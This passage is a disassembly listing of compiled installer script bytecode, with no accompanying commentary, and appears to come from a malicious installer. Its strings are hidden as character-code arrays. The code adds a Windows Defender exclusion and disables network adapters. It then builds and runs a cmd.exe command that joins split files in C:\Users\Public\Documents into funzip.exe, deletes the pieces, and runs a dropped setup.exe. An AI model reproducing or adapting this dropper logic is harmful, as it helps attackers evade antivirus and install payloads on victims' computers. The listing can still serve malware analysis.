  880.         call SETARRAYLENGTH
  881.         pop ; StackCount = 15
  882.         pop ; StackCount = 14
  883.         assign Var13, Var14
  884.         pop ; StackCount = 13
  885.         pushvar Var12 ; StackCount = 14
  886.         call STRFROMCODE
  887.         pop ; StackCount = 13
  888.         pop ; StackCount = 12
  889.         pushtype UnicodeString_2 ; StackCount = 13
  890.         pushtype Type30 ; StackCount = 14
  891.         pushtype Type30 ; StackCount = 15
  892.         pushtype S32 ; StackCount = 16
  893.         assign Var16, S32(0)
  894.         pushvar Var15 ; StackCount = 17
  895.         call SETARRAYLENGTH
  896.         pop ; StackCount = 16
  897.         pop ; StackCount = 15
  898.         assign Var14, Var15
  899.         pop ; StackCount = 14
  900.         pushvar Var13 ; StackCount = 15
  901.         call STRFROMCODE
  902.         pop ; StackCount = 14
  903.         pop ; StackCount = 13
  904.         pushtype UnicodeString_2 ; StackCount = 14
  905.         assign Var14, Var5
  906.         pushvar Var8 ; StackCount = 15
  907.         call EXEC
  908.         pop ; StackCount = 14
  909.         pop ; StackCount = 13
  910.         pop ; StackCount = 12
  911.         pop ; StackCount = 11
  912.         pop ; StackCount = 10
  913.         pop ; StackCount = 9
  914.         pop ; StackCount = 8
  915.         pop ; StackCount = 7
  916. loc_263a:
  917.         jump loc_4c1a
  918. loc_263f:
  919.         call ADDDEFENDEREXCLUSION
  920.         call DISABLENETWORKADAPTERS
  921.         pushtype BOOLEAN ; StackCount = 8
  922.         pushtype Pointer ; StackCount = 9
  923.         setptr Var9, Var7
  924.         pushtype U8_4 ; StackCount = 10
  925.         assign Var10, U8_4(1)
  926.         pushtype S32 ; StackCount = 11
  927.         assign Var11, S32(0)
  928.         pushtype UnicodeString_2 ; StackCount = 12
  929.         assign Var12, String_3("")
  930.         pushtype UnicodeString_2 ; StackCount = 13
  931.         pushtype WideString ; StackCount = 14
  932.         pushtype UnicodeString_2 ; StackCount = 15
  933.         pushtype Type30 ; StackCount = 16
  934.         pushtype Type30 ; StackCount = 17
  935.         pushtype S32 ; StackCount = 18
  936.         assign Var18, S32(12)
  937.         pushvar Var17 ; StackCount = 19
  938.         call SETARRAYLENGTH
  939.         pop ; StackCount = 18
  940.         pop ; StackCount = 17
  941.         assign Var17[0], S32(47)
  942.         assign Var17[1], S32(99)
  943.         assign Var17[2], S32(32)
  944.         assign Var17[3], S32(99)
  945.         assign Var17[4], S32(111)
  946.         assign Var17[5], S32(112)
  947.         assign Var17[6], S32(121)
  948.         assign Var17[7], S32(32)
  949.         assign Var17[8], S32(47)
  950.         assign Var17[9], S32(98)
  951.         assign Var17[10], S32(32)
  952.         assign Var17[11], S32(34)
  953.         assign Var16, Var17
  954.         pop ; StackCount = 16
  955.         pushvar Var15 ; StackCount = 17
  956.         call STRFROMCODE
  957.         pop ; StackCount = 16
  958.         pop ; StackCount = 15
  959.         assign Var14, Var15
  960.         pop ; StackCount = 14
  961.         pushtype UnicodeString_2 ; StackCount = 15
  962.         pushtype Type30 ; StackCount = 16
  963.         pushtype Type30 ; StackCount = 17
  964.         pushtype S32 ; StackCount = 18
  965.         assign Var18, S32(25)
  966.         pushvar Var17 ; StackCount = 19
  967.         call SETARRAYLENGTH
  968.         pop ; StackCount = 18
  969.         pop ; StackCount = 17
  970.         assign Var17[0], S32(67)
  971.         assign Var17[1], S32(58)
  972.         assign Var17[2], S32(92)
  973.         assign Var17[3], S32(85)
  974.         assign Var17[4], S32(115)
  975.         assign Var17[5], S32(101)
  976.         assign Var17[6], S32(114)
  977.         assign Var17[7], S32(115)
  978.         assign Var17[8], S32(92)
  979.         assign Var17[9], S32(80)
  980.         assign Var17[10], S32(117)
  981.         assign Var17[11], S32(98)
  982.         assign Var17[12], S32(108)
  983.         assign Var17[13], S32(105)
  984.         assign Var17[14], S32(99)
  985.         assign Var17[15], S32(92)
  986.         assign Var17[16], S32(68)
  987.         assign Var17[17], S32(111)
  988.         assign Var17[18], S32(99)
  989.         assign Var17[19], S32(117)
  990.         assign Var17[20], S32(109)
  991.         assign Var17[21], S32(101)
  992.         assign Var17[22], S32(110)
  993.         assign Var17[23], S32(116)
  994.         assign Var17[24], S32(115)
  995.         assign Var16, Var17
  996.         pop ; StackCount = 16
  997.         pushvar Var15 ; StackCount = 17
  998.         call STRFROMCODE
  999.         pop ; StackCount = 16
  1000.         pop ; StackCount = 15
  1001.         add Var14, Var15
  1002.         pop ; StackCount = 14
  1003.         pushtype UnicodeString_2 ; StackCount = 15
  1004.         pushtype Type30 ; StackCount = 16
  1005.         pushtype Type30 ; StackCount = 17
  1006.         pushtype S32 ; StackCount = 18
  1007.         assign Var18, S32(13)
  1008.         pushvar Var17 ; StackCount = 19
  1009.         call SETARRAYLENGTH
  1010.         pop ; StackCount = 18
  1011.         pop ; StackCount = 17
  1012.         assign Var17[0], S32(92)
  1013.         assign Var17[1], S32(117)
  1014.         assign Var17[2], S32(110)
  1015.         assign Var17[3], S32(122)
  1016.         assign Var17[4], S32(105)
  1017.         assign Var17[5], S32(112)
  1018.         assign Var17[6], S32(46)
  1019.         assign Var17[7], S32(51)
  1020.         assign Var17[8], S32(34)
  1021.         assign Var17[9], S32(32)
  1022.         assign Var17[10], S32(43)
  1023.         assign Var17[11], S32(32)
  1024.         assign Var17[12], S32(34)
  1025.         assign Var16, Var17
  1026.         pop ; StackCount = 16
  1027.         pushvar Var15 ; StackCount = 17
  1028.         call STRFROMCODE
  1029.         pop ; StackCount = 16
  1030.         pop ; StackCount = 15
  1031.         add Var14, Var15
  1032.         pop ; StackCount = 14
  1033.         pushtype UnicodeString_2 ; StackCount = 15
  1034.         pushtype Type30 ; StackCount = 16
  1035.         pushtype Type30 ; StackCount = 17
  1036.         pushtype S32 ; StackCount = 18
  1037.         assign Var18, S32(25)
  1038.         pushvar Var17 ; StackCount = 19
  1039.         call SETARRAYLENGTH
  1040.         pop ; StackCount = 18
  1041.         pop ; StackCount = 17
  1042.         assign Var17[0], S32(67)
  1043.         assign Var17[1], S32(58)
  1044.         assign Var17[2], S32(92)
  1045.         assign Var17[3], S32(85)
  1046.         assign Var17[4], S32(115)
  1047.         assign Var17[5], S32(101)
  1048.         assign Var17[6], S32(114)
  1049.         assign Var17[7], S32(115)
  1050.         assign Var17[8], S32(92)
  1051.         assign Var17[9], S32(80)
  1052.         assign Var17[10], S32(117)
  1053.         assign Var17[11], S32(98)
  1054.         assign Var17[12], S32(108)
  1055.         assign Var17[13], S32(105)
  1056.         assign Var17[14], S32(99)
  1057.         assign Var17[15], S32(92)
  1058.         assign Var17[16], S32(68)
  1059.         assign Var17[17], S32(111)
  1060.         assign Var17[18], S32(99)
  1061.         assign Var17[19], S32(117)
  1062.         assign Var17[20], S32(109)
  1063.         assign Var17[21], S32(101)
  1064.         assign Var17[22], S32(110)
  1065.         assign Var17[23], S32(116)
  1066.         assign Var17[24], S32(115)
  1067.         assign Var16, Var17
  1068.         pop ; StackCount = 16
  1069.         pushvar Var15 ; StackCount = 17
  1070.         call STRFROMCODE
  1071.         pop ; StackCount = 16
  1072.         pop ; StackCount = 15
  1073.         add Var14, Var15
  1074.         pop ; StackCount = 14
  1075.         pushtype UnicodeString_2 ; StackCount = 15
  1076.         pushtype Type30 ; StackCount = 16
  1077.         pushtype Type30 ; StackCount = 17
  1078.         pushtype S32 ; StackCount = 18
  1079.         assign Var18, S32(11)
  1080.         pushvar Var17 ; StackCount = 19
  1081.         call SETARRAYLENGTH
  1082.         pop ; StackCount = 18
  1083.         pop ; StackCount = 17
  1084.         assign Var17[0], S32(92)
  1085.         assign Var17[1], S32(117)
  1086.         assign Var17[2], S32(110)
  1087.         assign Var17[3], S32(122)
  1088.         assign Var17[4], S32(105)
  1089.         assign Var17[5], S32(112)
  1090.         assign Var17[6], S32(46)
  1091.         assign Var17[7], S32(50)
  1092.         assign Var17[8], S32(34)
  1093.         assign Var17[9], S32(32)
  1094.         assign Var17[10], S32(34)
  1095.         assign Var16, Var17
  1096.         pop ; StackCount = 16
  1097.         pushvar Var15 ; StackCount = 17
  1098.         call STRFROMCODE
  1099.         pop ; StackCount = 16
  1100.         pop ; StackCount = 15
  1101.         add Var14, Var15
  1102.         pop ; StackCount = 14
  1103.         pushtype UnicodeString_2 ; StackCount = 15
  1104.         pushtype Type30 ; StackCount = 16
  1105.         pushtype Type30 ; StackCount = 17
  1106.         pushtype S32 ; StackCount = 18
  1107.         assign Var18, S32(25)
  1108.         pushvar Var17 ; StackCount = 19
  1109.         call SETARRAYLENGTH
  1110.         pop ; StackCount = 18
  1111.         pop ; StackCount = 17
  1112.         assign Var17[0], S32(67)
  1113.         assign Var17[1], S32(58)
  1114.         assign Var17[2], S32(92)
  1115.         assign Var17[3], S32(85)
  1116.         assign Var17[4], S32(115)
  1117.         assign Var17[5], S32(101)
  1118.         assign Var17[6], S32(114)
  1119.         assign Var17[7], S32(115)
  1120.         assign Var17[8], S32(92)
  1121.         assign Var17[9], S32(80)
  1122.         assign Var17[10], S32(117)
  1123.         assign Var17[11], S32(98)
  1124.         assign Var17[12], S32(108)
  1125.         assign Var17[13], S32(105)
  1126.         assign Var17[14], S32(99)
  1127.         assign Var17[15], S32(92)
  1128.         assign Var17[16], S32(68)
  1129.         assign Var17[17], S32(111)
  1130.         assign Var17[18], S32(99)
  1131.         assign Var17[19], S32(117)
  1132.         assign Var17[20], S32(109)
  1133.         assign Var17[21], S32(101)
  1134.         assign Var17[22], S32(110)
  1135.         assign Var17[23], S32(116)
  1136.         assign Var17[24], S32(115)
  1137.         assign Var16, Var17
  1138.         pop ; StackCount = 16
  1139.         pushvar Var15 ; StackCount = 17
  1140.         call STRFROMCODE
  1141.         pop ; StackCount = 16
  1142.         pop ; StackCount = 15
  1143.         add Var14, Var15
  1144.         pop ; StackCount = 14
  1145.         pushtype UnicodeString_2 ; StackCount = 15
  1146.         pushtype Type30 ; StackCount = 16
  1147.         pushtype Type30 ; StackCount = 17
  1148.         pushtype S32 ; StackCount = 18
  1149.         assign Var18, S32(21)
  1150.         pushvar Var17 ; StackCount = 19
  1151.         call SETARRAYLENGTH
  1152.         pop ; StackCount = 18
  1153.         pop ; StackCount = 17
  1154.         assign Var17[0], S32(92)
  1155.         assign Var17[1], S32(102)
  1156.         assign Var17[2], S32(117)
  1157.         assign Var17[3], S32(110)
  1158.         assign Var17[4], S32(122)
  1159.         assign Var17[5], S32(105)
  1160.         assign Var17[6], S32(112)
  1161.         assign Var17[7], S32(46)
  1162.         assign Var17[8], S32(101)
  1163.         assign Var17[9], S32(120)
  1164.         assign Var17[10], S32(101)
  1165.         assign Var17[11], S32(34)
  1166.         assign Var17[12], S32(32)
  1167.         assign Var17[13], S32(38)
  1168.         assign Var17[14], S32(38)
  1169.         assign Var17[15], S32(32)
  1170.         assign Var17[16], S32(100)
  1171.         assign Var17[17], S32(101)
  1172.         assign Var17[18], S32(108)
  1173.         assign Var17[19], S32(32)
  1174.         assign Var17[20], S32(34)
  1175.         assign Var16, Var17
  1176.         pop ; StackCount = 16
  1177.         pushvar Var15 ; StackCount = 17
  1178.         call STRFROMCODE
  1179.         pop ; StackCount = 16
  1180.         pop ; StackCount = 15
  1181.         add Var14, Var15
  1182.         pop ; StackCount = 14
  1183.         pushtype UnicodeString_2 ; StackCount = 15
  1184.         pushtype Type30 ; StackCount = 16
  1185.         pushtype Type30 ; StackCount = 17
  1186.         pushtype S32 ; StackCount = 18
  1187.         assign Var18, S32(25)
  1188.         pushvar Var17 ; StackCount = 19
  1189.         call SETARRAYLENGTH
  1190.         pop ; StackCount = 18
  1191.         pop ; StackCount = 17
  1192.         assign Var17[0], S32(67)
  1193.         assign Var17[1], S32(58)
  1194.         assign Var17[2], S32(92)
  1195.         assign Var17[3], S32(85)
  1196.         assign Var17[4], S32(115)
  1197.         assign Var17[5], S32(101)
  1198.         assign Var17[6], S32(114)
  1199.         assign Var17[7], S32(115)
  1200.         assign Var17[8], S32(92)
  1201.         assign Var17[9], S32(80)
  1202.         assign Var17[10], S32(117)
  1203.         assign Var17[11], S32(98)
  1204.         assign Var17[12], S32(108)
  1205.         assign Var17[13], S32(105)
  1206.         assign Var17[14], S32(99)
  1207.         assign Var17[15], S32(92)
  1208.         assign Var17[16], S32(68)
  1209.         assign Var17[17], S32(111)
  1210.         assign Var17[18], S32(99)
  1211.         assign Var17[19], S32(117)
  1212.         assign Var17[20], S32(109)
  1213.         assign Var17[21], S32(101)
  1214.         assign Var17[22], S32(110)
  1215.         assign Var17[23], S32(116)
  1216.         assign Var17[24], S32(115)
  1217.         assign Var16, Var17
  1218.         pop ; StackCount = 16
  1219.         pushvar Var15 ; StackCount = 17
  1220.         call STRFROMCODE
  1221.         pop ; StackCount = 16
  1222.         pop ; StackCount = 15
  1223.         add Var14, Var15
  1224.         pop ; StackCount = 14
  1225.         pushtype UnicodeString_2 ; StackCount = 15
  1226.         pushtype Type30 ; StackCount = 16
  1227.         pushtype Type30 ; StackCount = 17
  1228.         pushtype S32 ; StackCount = 18
  1229.         assign Var18, S32(11)
  1230.         pushvar Var17 ; StackCount = 19
  1231.         call SETARRAYLENGTH
  1232.         pop ; StackCount = 18
  1233.         pop ; StackCount = 17
  1234.         assign Var17[0], S32(92)
  1235.         assign Var17[1], S32(117)
  1236.         assign Var17[2], S32(110)
  1237.         assign Var17[3], S32(122)
  1238.         assign Var17[4], S32(105)
  1239.         assign Var17[5], S32(112)
  1240.         assign Var17[6], S32(46)
  1241.         assign Var17[7], S32(51)
  1242.         assign Var17[8], S32(34)
  1243.         assign Var17[9], S32(32)
  1244.         assign Var17[10], S32(34)
  1245.         assign Var16, Var17
  1246.         pop ; StackCount = 16
  1247.         pushvar Var15 ; StackCount = 17
  1248.         call STRFROMCODE
  1249.         pop ; StackCount = 16
  1250.         pop ; StackCount = 15
  1251.         add Var14, Var15
  1252.         pop ; StackCount = 14
  1253.         pushtype UnicodeString_2 ; StackCount = 15
  1254.         pushtype Type30 ; StackCount = 16
  1255.         pushtype Type30 ; StackCount = 17
  1256.         pushtype S32 ; StackCount = 18
  1257.         assign Var18, S32(25)
  1258.         pushvar Var17 ; StackCount = 19
  1259.         call SETARRAYLENGTH
  1260.         pop ; StackCount = 18
  1261.         pop ; StackCount = 17
  1262.         assign Var17[0], S32(67)
  1263.         assign Var17[1], S32(58)
  1264.         assign Var17[2], S32(92)
  1265.         assign Var17[3], S32(85)
  1266.         assign Var17[4], S32(115)
  1267.         assign Var17[5], S32(101)
  1268.         assign Var17[6], S32(114)
  1269.         assign Var17[7], S32(115)
  1270.         assign Var17[8], S32(92)
  1271.         assign Var17[9], S32(80)
  1272.         assign Var17[10], S32(117)
  1273.         assign Var17[11], S32(98)
  1274.         assign Var17[12], S32(108)
  1275.         assign Var17[13], S32(105)
  1276.         assign Var17[14], S32(99)
  1277.         assign Var17[15], S32(92)
  1278.         assign Var17[16], S32(68)
  1279.         assign Var17[17], S32(111)
  1280.         assign Var17[18], S32(99)
  1281.         assign Var17[19], S32(117)
  1282.         assign Var17[20], S32(109)
  1283.         assign Var17[21], S32(101)
  1284.         assign Var17[22], S32(110)
  1285.         assign Var17[23], S32(116)
  1286.         assign Var17[24], S32(115)
  1287.         assign Var16, Var17
  1288.         pop ; StackCount = 16
  1289.         pushvar Var15 ; StackCount = 17
  1290.         call STRFROMCODE
  1291.         pop ; StackCount = 16
  1292.         pop ; StackCount = 15
  1293.         add Var14, Var15
  1294.         pop ; StackCount = 14
  1295.         pushtype UnicodeString_2 ; StackCount = 15
  1296.         pushtype Type30 ; StackCount = 16
  1297.         pushtype Type30 ; StackCount = 17
  1298.         pushtype S32 ; StackCount = 18
  1299.         assign Var18, S32(9)
  1300.         pushvar Var17 ; StackCount = 19
  1301.         call SETARRAYLENGTH
  1302.         pop ; StackCount = 18
  1303.         pop ; StackCount = 17
  1304.         assign Var17[0], S32(92)
  1305.         assign Var17[1], S32(117)
  1306.         assign Var17[2], S32(110)
  1307.         assign Var17[3], S32(122)
  1308.         assign Var17[4], S32(105)
  1309.         assign Var17[5], S32(112)
  1310.         assign Var17[6], S32(46)
  1311.         assign Var17[7], S32(50)
  1312.         assign Var17[8], S32(34)
  1313.         assign Var16, Var17
  1314.         pop ; StackCount = 16
  1315.         pushvar Var15 ; StackCount = 17
  1316.         call STRFROMCODE
  1317.         pop ; StackCount = 16
  1318.         pop ; StackCount = 15
  1319.         add Var14, Var15
  1320.         pop ; StackCount = 14
  1321.         assign Var13, Var14
  1322.         pop ; StackCount = 13
  1323.         pushtype UnicodeString_2 ; StackCount = 14
  1324.         pushtype Type30 ; StackCount = 15
  1325.         pushtype Type30 ; StackCount = 16
  1326.         pushtype S32 ; StackCount = 17
  1327.         assign Var17, S32(7)
  1328.         pushvar Var16 ; StackCount = 18
  1329.         call SETARRAYLENGTH
  1330.         pop ; StackCount = 17
  1331.         pop ; StackCount = 16
  1332.         assign Var16[0], S32(99)
  1333.         assign Var16[1], S32(109)
  1334.         assign Var16[2], S32(100)
  1335.         assign Var16[3], S32(46)
  1336.         assign Var16[4], S32(101)
  1337.         assign Var16[5], S32(120)
  1338.         assign Var16[6], S32(101)
  1339.         assign Var15, Var16
  1340.         pop ; StackCount = 15
  1341.         pushvar Var14 ; StackCount = 16
  1342.         call STRFROMCODE
  1343.         pop ; StackCount = 15
  1344.         pop ; StackCount = 14
  1345.         pushvar Var8 ; StackCount = 15
  1346.         call EXEC
  1347.         pop ; StackCount = 14
  1348.         pop ; StackCount = 13
  1349.         pop ; StackCount = 12
  1350.         pop ; StackCount = 11
  1351.         pop ; StackCount = 10
  1352.         pop ; StackCount = 9
  1353.         pop ; StackCount = 8
  1354.         pop ; StackCount = 7
  1355.         call OBFUSCATEDEXTRACT
  1356.         pushtype Type30 ; StackCount = 8
  1357.         pushtype Type30 ; StackCount = 9
  1358.         pushtype S32 ; StackCount = 10
  1359.         assign Var10, S32(51)
  1360.         pushvar Var9 ; StackCount = 11
  1361.         call SETARRAYLENGTH
  1362.         pop ; StackCount = 10
  1363.         pop ; StackCount = 9
  1364.         assign Var9[0], S32(67)
  1365.         assign Var9[1], S32(58)
  1366.         assign Var9[2], S32(92)
  1367.         assign Var9[3], S32(85)
  1368.         assign Var9[4], S32(115)
  1369.         assign Var9[5], S32(101)
  1370.         assign Var9[6], S32(114)
  1371.         assign Var9[7], S32(115)
  1372.         assign Var9[8], S32(92)
  1373.         assign Var9[9], S32(80)
  1374.         assign Var9[10], S32(117)
  1375.         assign Var9[11], S32(98)
  1376.         assign Var9[12], S32(108)
  1377.         assign Var9[13], S32(105)
  1378.         assign Var9[14], S32(99)
  1379.         assign Var9[15], S32(92)
  1380.         assign Var9[16], S32(68)
  1381.         assign Var9[17], S32(111)
  1382.         assign Var9[18], S32(99)
  1383.         assign Var9[19], S32(117)
  1384.         assign Var9[20], S32(109)
  1385.         assign Var9[21], S32(101)
  1386.         assign Var9[22], S32(110)
  1387.         assign Var9[23], S32(116)
  1388.         assign Var9[24], S32(115)
  1389.         assign Var9[25], S32(92)
  1390.         assign Var9[26], S32(120)
  1391.         assign Var9[27], S32(56)
  1392.         assign Var9[28], S32(54)
  1393.         assign Var9[29], S32(45)
  1394.         assign Var9[30], S32(77)
  1395.         assign Var9[31], S32(105)
  1396.         assign Var9[32], S32(99)
  1397.         assign Var9[33], S32(114)
  1398.         assign Var9[34], S32(111)
  1399.         assign Var9[35], S32(115)
  1400.         assign Var9[36], S32(111)
  1401.         assign Var9[37], S32(102)
  1402.         assign Var9[38], S32(116)
  1403.         assign Var9[39], S32(45)
  1404.         assign Var9[40], S32(87)
  1405.         assign Var9[41], S32(105)
  1406.         assign Var9[42], S32(110)
  1407.         assign Var9[43], S32(100)
  1408.         assign Var9[44], S32(111)
  1409.         assign Var9[45], S32(119)
  1410.         assign Var9[46], S32(115)
  1411.         assign Var9[47], S32(100)
  1412.         assign Var9[48], S32(97)
  1413.         assign Var9[49], S32(116)
  1414.         assign Var9[50], S32(97)
  1415.         assign Var8, Var9
  1416.         pop ; StackCount = 8
  1417.         pushvar Var2 ; StackCount = 9
  1418.         call STRFROMCODE
  1419.         pop ; StackCount = 8
  1420.         pop ; StackCount = 7
  1421.         pushtype Type30 ; StackCount = 8
  1422.         pushtype Type30 ; StackCount = 9
  1423.         pushtype S32 ; StackCount = 10
  1424.         assign Var10, S32(36)
  1425.         pushvar Var9 ; StackCount = 11
  1426.         call SETARRAYLENGTH
  1427.         pop ; StackCount = 10
  1428.         pop ; StackCount = 9
  1429.         assign Var9[0], S32(67)
  1430.         assign Var9[1], S32(58)
  1431.         assign Var9[2], S32(92)
  1432.         assign Var9[3], S32(85)
  1433.         assign Var9[4], S32(115)
  1434.         assign Var9[5], S32(101)
  1435.         assign Var9[6], S32(114)
  1436.         assign Var9[7], S32(115)
  1437.         assign Var9[8], S32(92)
  1438.         assign Var9[9], S32(80)
  1439.         assign Var9[10], S32(117)
  1440.         assign Var9[11], S32(98)
  1441.         assign Var9[12], S32(108)
  1442.         assign Var9[13], S32(105)
  1443.         assign Var9[14], S32(99)
  1444.         assign Var9[15], S32(92)
  1445.         assign Var9[16], S32(68)
  1446.         assign Var9[17], S32(111)
  1447.         assign Var9[18], S32(99)
  1448.         assign Var9[19], S32(117)
  1449.         assign Var9[20], S32(109)
  1450.         assign Var9[21], S32(101)
  1451.         assign Var9[22], S32(110)
  1452.         assign Var9[23], S32(116)
  1453.         assign Var9[24], S32(115)
  1454.         assign Var9[25], S32(92)
  1455.         assign Var9[26], S32(83)
  1456.         assign Var9[27], S32(101)
  1457.         assign Var9[28], S32(114)
  1458.         assign Var9[29], S32(118)
  1459.         assign Var9[30], S32(101)
  1460.         assign Var9[31], S32(114)
  1461.         assign Var9[32], S32(46)
  1462.         assign Var9[33], S32(108)
  1463.         assign Var9[34], S32(111)
  1464.         assign Var9[35], S32(103)
  1465.         assign Var8, Var9
  1466.         pop ; StackCount = 8
  1467.         pushvar Var3 ; StackCount = 9
  1468.         call STRFROMCODE
  1469.         pop ; StackCount = 8
  1470.         pop ; StackCount = 7
  1471.         pushtype WideString ; StackCount = 8
  1472.         assign Var8, Var2
  1473.         pushtype UnicodeString_2 ; StackCount = 9
  1474.         pushtype Type30 ; StackCount = 10
  1475.         pushtype Type30 ; StackCount = 11
  1476.         pushtype S32 ; StackCount = 12
  1477.         assign Var12, S32(11)
  1478.         pushvar Var11 ; StackCount = 13
  1479.         call SETARRAYLENGTH
  1480.         pop ; StackCount = 12
  1481.         pop ; StackCount = 11
  1482.         assign Var11[0], S32(92)
  1483.         assign Var11[1], S32(83)
  1484.         assign Var11[2], S32(101)
  1485.         assign Var11[3], S32(114)
  1486.         assign Var11[4], S32(118)
  1487.         assign Var11[5], S32(101)
  1488.         assign Var11[6], S32(114)
  1489.         assign Var11[7], S32(46)
  1490.         assign Var11[8], S32(108)
  1491.         assign Var11[9], S32(111)
  1492.         assign Var11[10], S32(103)
  1493.         assign Var10, Var11
  1494.         pop ; StackCount = 10
  1495.         pushvar Var9 ; StackCount = 11
  1496.         call STRFROMCODE
  1497.         pop ; StackCount = 10
  1498.         pop ; StackCount = 9
  1499.         add Var8, Var9
  1500.         pop ; StackCount = 8
  1501.         assign Var4, Var8
  1502.         pop ; StackCount = 7
  1503.         pushtype BOOLEAN ; StackCount = 8
  1504.         pushtype UnicodeString_2 ; StackCount = 9
  1505.         assign Var9, Var2
  1506.         pushvar Var8 ; StackCount = 10
  1507.         call FORCEDIRECTORIES
  1508.         pop ; StackCount = 9
  1509.         pop ; StackCount = 8
  1510.         pop ; StackCount = 7
  1511.         pushtype BOOLEAN ; StackCount = 8
  1512.         pushtype UnicodeString_2 ; StackCount = 9
  1513.         assign Var9, Var3
  1514.         pushvar Var8 ; StackCount = 10
  1515.         call FILEEXISTS
  1516.         pop ; StackCount = 9
  1517.         pop ; StackCount = 8
  1518.         sfz Var8
  1519.         pop ; StackCount = 7
  1520.         jf loc_435a
  1521.         pushtype BOOLEAN ; StackCount = 8
  1522.         pushtype UnicodeString_2 ; StackCount = 9
  1523.         assign Var9, Var4
  1524.         pushvar Var8 ; StackCount = 10
  1525.         call FILEEXISTS
  1526.         pop ; StackCount = 9
  1527.         pop ; StackCount = 8
  1528.         sfz Var8
  1529.         pop ; StackCount = 7
  1530.         jf loc_4326
  1531.         pushtype BOOLEAN ; StackCount = 8
  1532.         pushtype UnicodeString_2 ; StackCount = 9
  1533.         assign Var9, Var4
  1534.         pushvar Var8 ; StackCount = 10
  1535.         call DELETEFILE
  1536.         pop ; StackCount = 9
  1537.         pop ; StackCount = 8
  1538.         pop ; StackCount = 7
  1539. loc_4326:
  1540.         pushtype BOOLEAN ; StackCount = 8
  1541.         pushtype UnicodeString_2 ; StackCount = 9
  1542.         assign Var9, Var4
  1543.         pushtype UnicodeString_2 ; StackCount = 10
  1544.         assign Var10, Var3
  1545.         pushvar Var8 ; StackCount = 11
  1546.         call RENAMEFILE
  1547.         pop ; StackCount = 10
  1548.         pop ; StackCount = 9
  1549.         pop ; StackCount = 8
  1550.         pop ; StackCount = 7
  1551. loc_435a:
  1552.         pushtype WideString ; StackCount = 8
  1553.         pushtype UnicodeString_2 ; StackCount = 9
  1554.         pushtype Type30 ; StackCount = 10
  1555.         pushtype Type30 ; StackCount = 11
  1556.         pushtype S32 ; StackCount = 12
  1557.         assign Var12, S32(26)
  1558.         pushvar Var11 ; StackCount = 13
  1559.         call SETARRAYLENGTH
  1560.         pop ; StackCount = 12
  1561.         pop ; StackCount = 11
  1562.         assign Var11[0], S32(67)
  1563.         assign Var11[1], S32(58)
  1564.         assign Var11[2], S32(92)
  1565.         assign Var11[3], S32(85)
  1566.         assign Var11[4], S32(115)
  1567.         assign Var11[5], S32(101)
  1568.         assign Var11[6], S32(114)
  1569.         assign Var11[7], S32(115)
  1570.         assign Var11[8], S32(92)
  1571.         assign Var11[9], S32(80)
  1572.         assign Var11[10], S32(117)
  1573.         assign Var11[11], S32(98)
  1574.         assign Var11[12], S32(108)
  1575.         assign Var11[13], S32(105)
  1576.         assign Var11[14], S32(99)
  1577.         assign Var11[15], S32(92)
  1578.         assign Var11[16], S32(68)
  1579.         assign Var11[17], S32(111)
  1580.         assign Var11[18], S32(99)
  1581.         assign Var11[19], S32(117)
  1582.         assign Var11[20], S32(109)
  1583.         assign Var11[21], S32(101)
  1584.         assign Var11[22], S32(110)
  1585.         assign Var11[23], S32(116)
  1586.         assign Var11[24], S32(115)
  1587.         assign Var11[25], S32(92)
  1588.         assign Var10, Var11
  1589.         pop ; StackCount = 10
  1590.         pushvar Var9 ; StackCount = 11
  1591.         call STRFROMCODE
  1592.         pop ; StackCount = 10
  1593.         pop ; StackCount = 9
  1594.         assign Var8, Var9
  1595.         pop ; StackCount = 8
  1596.         pushtype UnicodeString_2 ; StackCount = 9
  1597.         pushtype Type30 ; StackCount = 10
  1598.         pushtype Type30 ; StackCount = 11
  1599.         pushtype S32 ; StackCount = 12
  1600.         assign Var12, S32(9)
  1601.         pushvar Var11 ; StackCount = 13
  1602.         call SETARRAYLENGTH
  1603.         pop ; StackCount = 12
  1604.         pop ; StackCount = 11
  1605.         assign Var11[0], S32(115)
  1606.         assign Var11[1], S32(101)
  1607.         assign Var11[2], S32(116)
  1608.         assign Var11[3], S32(117)
  1609.         assign Var11[4], S32(112)
  1610.         assign Var11[5], S32(46)
  1611.         assign Var11[6], S32(101)
  1612.         assign Var11[7], S32(120)
  1613.         assign Var11[8], S32(101)
  1614.         assign Var10, Var11
  1615.         pop ; StackCount = 10
  1616.         pushvar Var9 ; StackCount = 11
  1617.         call STRFROMCODE
  1618.         pop ; StackCount = 10
  1619.         pop ; StackCount = 9
  1620.         add Var8, Var9
  1621.         pop ; StackCount = 8
  1622.         assign Var6, Var8
  1623.         pop ; StackCount = 7
  1624.         pushtype BOOLEAN ; StackCount = 8
  1625.         pushtype UnicodeString_2 ; StackCount = 9
  1626.         assign Var9, Var6
  1627.         pushvar Var8 ; StackCount = 10
  1628.         call FILEEXISTS
  1629.         pop ; StackCount = 9
  1630.         pop ; StackCount = 8
  1631.         sfz Var8
  1632.         pop ; StackCount = 7
  1633.         jf loc_47cd
  1634.         pushtype BOOLEAN ; StackCount = 8
  1635.         pushtype Pointer ; StackCount = 9
  1636.         setptr Var9, Var7
  1637.         pushtype U8_4 ; StackCount = 10
  1638.         assign Var10, U8_4(0)
  1639.         pushtype S32 ; StackCount = 11
  1640.         assign Var11, S32(5)
  1641.         pushtype UnicodeString_2 ; StackCount = 12
  1642.         pushtype Type30 ; StackCount = 13
  1643.         pushtype Type30 ; StackCount = 14
  1644.         pushtype S32 ; StackCount = 15
  1645.         assign Var15, S32(0)
  1646.         pushvar Var14 ; StackCount = 16
  1647.         call SETARRAYLENGTH
  1648.         pop ; StackCount = 15
  1649.         pop ; StackCount = 14
  1650.         assign Var13, Var14
  1651.         pop ; StackCount = 13
  1652.         pushvar Var12 ; StackCount = 14
  1653.         call STRFROMCODE
  1654.         pop ; StackCount = 13
  1655.         pop ; StackCount = 12
  1656.         pushtype UnicodeString_2 ; StackCount = 13
  1657.         pushtype Type30 ; StackCount = 14
  1658.         pushtype Type30 ; StackCount = 15
  1659.         pushtype S32 ; StackCount = 16
  1660.         assign Var16, S32(0)
  1661.         pushvar Var15 ; StackCount = 17
  1662.         call SETARRAYLENGTH
  1663.         pop ; StackCount = 16
  1664.         pop ; StackCount = 15
  1665.         assign Var14, Var15
  1666.         pop ; StackCount = 14
  1667.         pushvar Var13 ; StackCount = 15
  1668.         call STRFROMCODE
  1669.         pop ; StackCount = 14
  1670.         pop ; StackCount = 13
  1671.         pushtype UnicodeString_2 ; StackCount = 14
  1672.         assign Var14, Var6
  1673.         pushvar Var8 ; StackCount = 15
  1674.         call EXEC
  1675.         pop ; StackCount = 14
